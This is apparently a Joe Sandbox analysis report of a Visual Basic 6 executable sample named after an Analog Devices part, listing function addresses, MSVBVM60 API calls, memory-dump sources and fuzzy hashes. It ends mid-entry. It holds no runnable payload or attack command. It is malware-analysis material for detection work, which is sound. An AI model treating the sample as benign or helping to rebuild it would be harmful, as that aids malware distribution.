Opcode Fuzzy Hash: 81121c5470669a7c16739aa6be5f71145eac563f112db7cdea347d1295e6e5d1
Instruction Fuzzy Hash: 70310975900209DFDB00DF94C989BDEBBB4FF08314F108269F915A7390C774AA85CB94

Function 0041D5B8 Relevance: 13.5, APIs: 9, Instructions: 45COMMON

Download Yara Rule

APIs

__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5D9
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5E1
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5E9
__vbaExitProc.MSVBVM60 ref: 0041D5EB
__vbaFreeVar.MSVBVM60(0041D664), ref: 0041D64B
__vbaFreeVar.MSVBVM60 ref: 0041D650
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041D658
__vbaFreeVar.MSVBVM60 ref: 0041D661
__vbaErrorOverflow.MSVBVM60 ref: 0041D680

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$AddrefFree$DestructErrorExitOverflowProc
String ID:
API String ID: 2473607959-0
Opcode ID: cb108ea1c80cccade74e7f213af0347de610002038ec2a835772024163612513
Instruction ID: 9264f18109a120e7ce87413fc4b53469814454bba0ef014958fd4b23833393e4
Opcode Fuzzy Hash: cb108ea1c80cccade74e7f213af0347de610002038ec2a835772024163612513
Instruction Fuzzy Hash: A7F04F71C50218AFDB04EBA0ED55BED7B34EF48700F508426E506A70B4EF786A85CFA9

Function 00428CC0 Relevance: 12.1, APIs: 8, Instructions: 113COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,00402F88,?,?,?,?,?,00000000,004032B6), ref: 00428CF6
__vbaExitProc.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00428D27
__vbaErrorOverflow.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00428D42
__vbaOnError.MSVBVM60(00000001), ref: 00428D95
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428DBA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A184,00000094), ref: 00428DE4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF3
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF9

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$CheckExitHresultProc$FreeOverflow
String ID:
API String ID: 1609803294-0
Opcode ID: 21ddd133c35a2055249bfdced58ced3040ae018b58796bb9847fdddddb7096ca
Instruction ID: 288edfe35e9085eef6f99ea30057e2506a503dbf0f3c7e11b8dd8825ff45c2f6
Opcode Fuzzy Hash: 21ddd133c35a2055249bfdced58ced3040ae018b58796bb9847fdddddb7096ca
Instruction Fuzzy Hash: 35417E75E01218EFC710DF98D948A9DBBB8FF58B10F50416BF805B7290CB7859418BA9

Function 00404FDC Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040D56C
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040D584
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D5A7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D5CB
__vbaObjSet.MSVBVM60(?,?), ref: 0040D5E2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,0000000C), ref: 0040D5F8
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D608
__vbaExitProc.MSVBVM60 ref: 0040D611

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeListNew2Proc
String ID:
API String ID: 306309671-0
Opcode ID: ca2ad210dbadf10d8339a2c6302259c2d85a358f52ad595904c40038edc4eebe
Instruction ID: d803e8ae1a74f1de2285c6eb7d8813a05e13e9447d060414ac64bef4c706b468
Opcode Fuzzy Hash: ca2ad210dbadf10d8339a2c6302259c2d85a358f52ad595904c40038edc4eebe
Instruction Fuzzy Hash: CB318E70900218FFDB10DF95DD89E9EBBB8FF08B04F10456AF545B7290D77899448BA9

Function 004250D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

_adj_fdiv_m64.MSVBVM60(6D04D83C,00000000), ref: 0042510E
__vbaR8IntI4.MSVBVM60(x.@,6D04D83C,00000000), ref: 00425122
_adj_fdiv_m64.MSVBVM60 ref: 00425167
__vbaR8IntI4.MSVBVM60 ref: 00425172

Strings

x.@, xrefs: 00425117

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba_adj_fdiv_m64
String ID: x.@
API String ID: 2746309926-3631786054
Opcode ID: 9ac73b9d7d80b49c2d232aa197a81b06f8acdeec819939354fa6ae610ae96cf9
Instruction ID: e2d31677cc0c5545fa80c966f8e09b0dd77fe682f18f487efa9605fdaabcacac
Opcode Fuzzy Hash: 9ac73b9d7d80b49c2d232aa197a81b06f8acdeec819939354fa6ae610ae96cf9
Instruction Fuzzy Hash: CD216831B046119FD7099F14FA4433BBBA6B7C8341F55867EE485D22A4CB788895C749

Function 004291A0 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004291EA
__vbaCastObj.MSVBVM60(00000000,0040A2F8,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004291F8
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429203
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429223
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 0042922C
__vbaRaiseEvent.MSVBVM60(?,00000002,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429236
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 0042923F

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CastCheckErrorEventExitFreeHresultProcRaise
String ID:
API String ID: 2392155486-0
Opcode ID: 039d90c4dc18c79ec7187133a193b3ab27d0cecebb805d049768fa3ec49b57b7
Instruction ID: 083221939679d71a8f0af14ea155fa08f788ddfb085ab1f4567514e6edbf7ed0
Opcode Fuzzy Hash: 039d90c4dc18c79ec7187133a193b3ab27d0cecebb805d049768fa3ec49b57b7
Instruction Fuzzy Hash: 64119A71940654BBCB00AFA4CE49E9EBBB8FF48B00F10806AF841B22A1C77815408BF9

Function 00428BBE Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

__vbaExitProc.MSVBVM60 ref: 00428BBE
__vbaAryDestruct.MSVBVM60(00000000,?,00428C0D), ref: 00428BE2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BEA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BF2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BFA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428C02
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428C0A

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Destruct$ExitProc
String ID:
API String ID: 1594393734-0
Opcode ID: 952738d25d21216cb59d4962ff70e805ce52a3947e489f7afe1132f397de7233
Instruction ID: 9365795d6c175bddc2ceeb307a93c3593e60e9969e1da01e8ce20a231f89a0e7
Opcode Fuzzy Hash: 952738d25d21216cb59d4962ff70e805ce52a3947e489f7afe1132f397de7233
Instruction Fuzzy Hash: 9BE0ACB29441286AEB4097D0EC41FBD7B3CEB84701F44411AF606AA0989AA42A44CBA1

Function 00415EC0 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(6D04D8B1,6D03A323,00000000), ref: 00415F0F
__vbaNew2.MSVBVM60(00406520,0042CC34,6D04D8B1,6D03A323,00000000), ref: 00415F27
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 00415F4C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100), ref: 00415F76
__vbaSetSystemError.MSVBVM60(0000000D,00416130,?,00000000), ref: 00415F8F
__vbaFreeObj.MSVBVM60 ref: 00415F9E

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckErrorHresultSystem$FreeNew2
String ID:
API String ID: 4095944179-0
Opcode ID: 0e2877956f964c667186ba7d453f48a1745dc0f6204dd302438443de716a423e
Instruction ID: 86e52eac19165ff6a91ac7dd53a600c53f32cd3851e5c07b860265a300e2eb8b
Opcode Fuzzy Hash: 0e2877956f964c667186ba7d453f48a1745dc0f6204dd302438443de716a423e
Instruction Fuzzy Hash: AA218674A00645EBCB20DBA4EE89FDEBB74EB58741F50012AF145B31E0D77859428BA9

Function 0041A4A0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0041A8A0,?,?,00000000,Function_000032B6), ref: 0041A4BE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A4EE

Part of subcall function 0041A2B0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,0041A500,?,?,?,00000000,Function_000032B6), ref: 0041A2CE
Part of subcall function 0041A2B0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A2FE
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A313
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,00000028,?,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A32B
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 0041A37B
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?), ref: 0041A475

__vbaSetSystemError.MSVBVM60(001F0FFF,00000000,?,?,?,?,00000000,Function_000032B6), ref: 0041A51C
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041A53C
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041A559
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041A575

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: 5bb2bcfdb485b1fc5dace36e1ee00ee028e08319f0daf42fe37a24dbea0d6490
Instruction ID: 0ffcf597171400e777aa296a20f0d346976af0d8bd5363bbaeaa7b020b9ff71b
Opcode Fuzzy Hash: 5bb2bcfdb485b1fc5dace36e1ee00ee028e08319f0daf42fe37a24dbea0d6490
Instruction Fuzzy Hash: 5821D8B5D00648EBDB00EFE5DA49BDEBBB4FB48714F108269E500B7390C7795A44CBA9

Function 00429280 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292BF
__vbaCastObj.MSVBVM60(00000000,0040A2F8,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292CD
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292D8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292F8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429301
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429307

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CastCheckErrorExitFreeHresultProc
String ID:
API String ID: 2075080343-0
Opcode ID: 3c98d6e1d880771264c5319e433b74e335411f1da0612e9a017f040162ccee3f
Instruction ID: 9ff539ebce5fad2b4699ffef5be23d845548c77eebf422f0d85762e4eecb91bf
Opcode Fuzzy Hash: 3c98d6e1d880771264c5319e433b74e335411f1da0612e9a017f040162ccee3f
Instruction Fuzzy Hash: 88018B71940214ABCB00AFA4CE48E9EBBB8FF48701F50406AF845B22A0CB7C55008AB9

Function 004200AF Relevance: 9.0, APIs: 6, Instructions: 26COMMON

Download Yara Rule

APIs

__vbaFileClose.MSVBVM60(00000000), ref: 004200BC
__vbaFileClose.MSVBVM60(00000000), ref: 004200C6
#529.MSVBVM60(00004008), ref: 004200E2
__vbaExitProc.MSVBVM60 ref: 004200EF
__vbaFreeStr.MSVBVM60(00420142), ref: 00420123
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042013B

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CloseFile$#529DestructExitFreeProc
String ID:
API String ID: 4288299288-0
Opcode ID: 76c3e10c01bdde1d78888b45fc76731c4926e5430ee8ad2130daad78c8bdb4b7
Instruction ID: e63006f6629530c6f9d06262b1e3e783061ea391c4db22c70a24105a95955a76
Opcode Fuzzy Hash: 76c3e10c01bdde1d78888b45fc76731c4926e5430ee8ad2130daad78c8bdb4b7
Instruction Fuzzy Hash: 39F0E775D00218CECF10EFA0DD44BEDB7B8BB48300F4081AAE54AA7560DB741A89CF69

Function 0041E67F Relevance: 9.0, APIs: 6, Instructions: 23COMMON

Download Yara Rule

APIs

__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041E68B
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041E693
__vbaExitProc.MSVBVM60 ref: 0041E695
__vbaFreeVar.MSVBVM60(0041E706), ref: 0041E6F2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041E6FA
__vbaFreeVar.MSVBVM60 ref: 0041E703

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$AddrefFree$DestructExitProc
String ID:
API String ID: 474453485-0
Opcode ID: 080a92c9c3c2fb487e3bc96c2bebb315830741a64646396bf6efebd826edfebc
Instruction ID: 667f1fbceb99d918350a8c93aba1b8ec047f02208f043dfad400775f7d70227f
Opcode Fuzzy Hash: 080a92c9c3c2fb487e3bc96c2bebb315830741a64646396bf6efebd826edfebc
Instruction Fuzzy Hash: A6E0E531D60128AADB04DBA0ED55FED7B38BF14700F54406AF902B30E09F746945CFA9

Function 00420B94 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

__vbaFileClose.MSVBVM60(00000000), ref: 00420BA1
__vbaFileClose.MSVBVM60(00000000), ref: 00420BAB
__vbaExitProc.MSVBVM60 ref: 00420BB4
__vbaFreeStr.MSVBVM60(00420BF8), ref: 00420BEB
__vbaFreeStr.MSVBVM60 ref: 00420BF0
__vbaFreeStr.MSVBVM60 ref: 00420BF5

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$CloseFile$ExitProc
String ID:
API String ID: 2014117853-0
Opcode ID: c3a2a4b37cd901fdd2dfd3f0805bf3e80cc1eed6359ebd58807123f09fd26edf
Instruction ID: 1a74a742803cabf7b99f207da3827670e0b1cecb12e14af3a137c0d733611b17
Opcode Fuzzy Hash: c3a2a4b37cd901fdd2dfd3f0805bf3e80cc1eed6359ebd58807123f09fd26edf
Instruction Fuzzy Hash: 3FE01A71D04128CACB14ABE0FD4069C7BB4AB08310B904167A402B3174DB742985CF99

Function 00418C10 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00418D00: __vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,6D03A323,6D04D8B1,?), ref: 00418D1E
Part of subcall function 00418D00: __vbaOnError.MSVBVM60(000000FF,00000000,?,?,?,Function_000032B6,?), ref: 00418D4E
Part of subcall function 00418D00: __vbaRecUniToAnsi.MSVBVM60(004054A0,?,?), ref: 00418D6E
Part of subcall function 00418D00: __vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D77
Part of subcall function 00418D00: __vbaStrMove.MSVBVM60 ref: 00418D85
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418D93
Part of subcall function 00418D00: __vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D9C
Part of subcall function 00418D00: __vbaStrMove.MSVBVM60 ref: 00418DAA
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418DB8
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,DISPLAY,00000000), ref: 00418DCB
Part of subcall function 00418D00: __vbaSetSystemError.MSVBVM60(00000000), ref: 00418DDD
Part of subcall function 00418D00: __vbaRecAnsiToUni.MSVBVM60(004054A0,?,?), ref: 00418DF6
Part of subcall function 00418D00: __vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00418E2D

Part of subcall function 004199F0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 00419A0E
Part of subcall function 004199F0: __vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 00419A3E
Part of subcall function 004199F0: __vbaSetSystemError.MSVBVM60(?,00000001,00000000), ref: 00419A68

__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000188), ref: 00418C86
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00418C96
__vbaI4Var.MSVBVM60(?,00000000), ref: 00418CA9
__vbaFreeObj.MSVBVM60(00000000), ref: 00418CB8
__vbaFreeVar.MSVBVM60 ref: 00418CC1

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Ansi$Error$Free$ChkstkMoveSystem$CallCheckHresultLateList
String ID:
API String ID: 873780948-0
Opcode ID: 26f5b35a8f0ac3d08365d19e810842ecff9e3efcd4087d4e7403b082e305bca5
Instruction ID: 16d286b73a6ce5193caf80716aadf59a34bdb77ef37626ee72a0c3f1c06fc46a
Opcode Fuzzy Hash: 26f5b35a8f0ac3d08365d19e810842ecff9e3efcd4087d4e7403b082e305bca5
Instruction Fuzzy Hash: 63211DB5900209ABCB00DF95C989DEFBBBCEF58704F10451EF901B7250DA74A985CBB5

Function 00416000 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416050
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416075
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041609F
__vbaSetSystemError.MSVBVM60(0000000E,00417A20,?,00000000,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160B8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160C7

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorFreeNew2System
String ID:
API String ID: 3252491692-0
Opcode ID: 599137fa2ae346e6f6b239c3f9cbb415c6691d3a238c125e19ddfd78296be001
Instruction ID: 1035c00175c6c81f3f144980975e95b43d78c84e63a20c1226013f986c834cc1
Opcode Fuzzy Hash: 599137fa2ae346e6f6b239c3f9cbb415c6691d3a238c125e19ddfd78296be001
Instruction Fuzzy Hash: 30219570A40615EBCB20CFA5EE49E9FBF78FB58740F110126F105B32E0D7B499818BA9

Function 00404972 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 00428D95
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428DBA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A184,00000094), ref: 00428DE4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF3
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF9

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeProc
String ID:
